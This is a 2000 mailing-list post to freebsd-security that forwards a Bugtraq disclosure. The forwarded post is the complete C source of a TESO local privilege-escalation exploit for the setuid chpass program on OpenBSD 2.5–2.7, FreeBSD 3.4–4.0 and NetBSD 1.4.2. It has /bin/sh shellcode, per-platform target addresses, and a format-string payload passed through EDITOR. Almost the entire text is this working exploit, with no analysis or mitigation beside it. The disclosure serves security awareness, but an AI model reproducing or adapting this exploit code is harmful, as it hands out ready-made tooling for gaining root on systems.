Date: Wed, 04 Oct 2000 01:12:59 -0400 From: Mike Tancsa <mike@sentex.net> To: freebsd-security@freebsd.org Subject: Fwd: BSD chpass Message-ID: <4.2.2.20001004011210.035225e0@mail.sentex.net>
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OK, here is a nasty bugtraq posting :-(
---Mike
>Approved-By: aleph1@SECURITYFOCUS.COM
>Delivered-To: bugtraq@lists.securityfocus.com
>Delivered-To: bugtraq@securityfocus.com
>User-Agent: Mutt/1.2i
>Date: Wed, 4 Oct 2000 02:45:48 +1000
>Reply-To: caddis <caddis@DISSENSION.NET>
>Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
>From: caddis <caddis@DISSENSION.NET>
>Subject: BSD chpass
>To: BUGTRAQ@SECURITYFOCUS.COM
>
>/*
> * TESO BSD chpass exploit - caddis <caddis@dissension.net>
> *
> * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
> *
> */
>#include <stdio.h>
>
>char bsd_shellcode[] =
>"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
>"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
>"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
>"\xe8\xe5\xff\xff\xff/bin/sh";
>
>char ptmp_shellcode[] =
>"\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
>"\x89\x76\x12\x89\x5e\x16\x8d\x4e"
>"\x12\x8d\x56\x08\x31\xc0\x52\x53"
>"\xb0\x0a\xcd\x80\x53\x51\x56\x53"
>"\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
>"\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
>
>struct platform {
> char *name;
> unsigned short count;
> unsigned long dest_addr;
> unsigned long shell_addr;
> char *shellcode;
>};
>
>struct platform targets[9] =
>{
> { "OpenBSD 2.7 i386 ", 141, 0xdfbfd25c, 0xdfbfdc32,
> ptmp_shellcode },
> { "OpenBSD 2.6 i386 ", 149, 0xdfbfd224, 0xdfbfdc1a,
> ptmp_shellcode },
> { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6,
> ptmp_shellcode },
> { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e,
> ptmp_shellcode },
> { "FreeBSD 4.0-RELEASE ", 167, 0x805023c, 0xbfbffc68,
> bsd_shellcode },
> { "FreeBSD 3.5-RELEASE ", 135, 0x804fa58, 0xbfbfdcac,
> bsd_shellcode },
> { "FreeBSD 3.4-RELEASE ", 131, 0x804f988, 0xbfbfdcd0,
> bsd_shellcode },
> { "NetBSD 1.4.2 ", 132, 0xbfbfd314, 0xbfbfdc36,
> bsd_shellcode },
> { NULL, 0, 0, 0, NULL }
>};
>
>char jmpcode[129];
>char fmt_string[1000];
>
>char *args[] = { "chpass", NULL };
>char *envs[] = { jmpcode, fmt_string, NULL };
>
>void usage(char *name)
>{
> printf("%s <TARGET>\n"
> "1 - OpenBSD 2.7 i386\n"
> "2 - OpenBSD 2.6 i386\n"
> "3 - OpenBSD 2.5 1999/08/06\n"
> "4 - OpenBSD 2.5 1998/05/28\n"
> "5 - FreeBSD 4.0-RELEASE\n"
> "6 - FreeBSD 3.5-RELEASE\n"
> "7 - FreeBSD 3.4-RELEASE\n"
> "8 - NetBSD 1.4.2\n", name);
> exit(1);
>}
>
>int main(int argc, char *argv[])
>{
> char *p;
> int x, len = 0;
> struct platform *target;
> unsigned short low, high;
> unsigned long shell_addr[2], dest_addr[2];
>
> if (argc != 2)
> usage(argv[0]);
>
> x = atoi(argv[1]) - 1;
> if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct
> platform)) - 1 || x < 0)
> usage(argv[0]);
>
> target = &targets[x];
>
> memset(jmpcode, 0x90, sizeof(jmpcode));
> strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode),
> target->shellcode);
>
> strcat(fmt_string, "EDITOR=");
> for (x = 0; x < target->count; x++) {
> strcat(fmt_string, "%8x");
> len += 8;
> }
>
> shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
> shell_addr[1] = target->shell_addr & 0xffff;
>
> if (shell_addr[1] > shell_addr[0]) {
> dest_addr[0] = target->dest_addr+2;
> dest_addr[1] = target->dest_addr;
> low = shell_addr[0] - len;
> high = shell_addr[1] - low - len;
> } else {
> dest_addr[0] = target->dest_addr;
> dest_addr[1] = target->dest_addr+2;
> low = shell_addr[1] - len;
> high = shell_addr[0] - low - len;
> }
>
> *(long *)&jmpcode[1] = 0x11111111;
> *(long *)&jmpcode[5] = dest_addr[0];
> *(long *)&jmpcode[9] = 0x11111111;
> *(long *)&jmpcode[13] = dest_addr[1];
>
> p = fmt_string + strlen(fmt_string);
> sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
>
> execve("/usr/bin/chpass", args, envs);
> perror("execve");
>}
--------------------------------------------------------------------
Mike Tancsa, tel +1 519 651 3400
Network Administration, mike@sentex.net
Sentex Communications www.sentex.net
Cambridge, Ontario Canada www.sentex.net/mike
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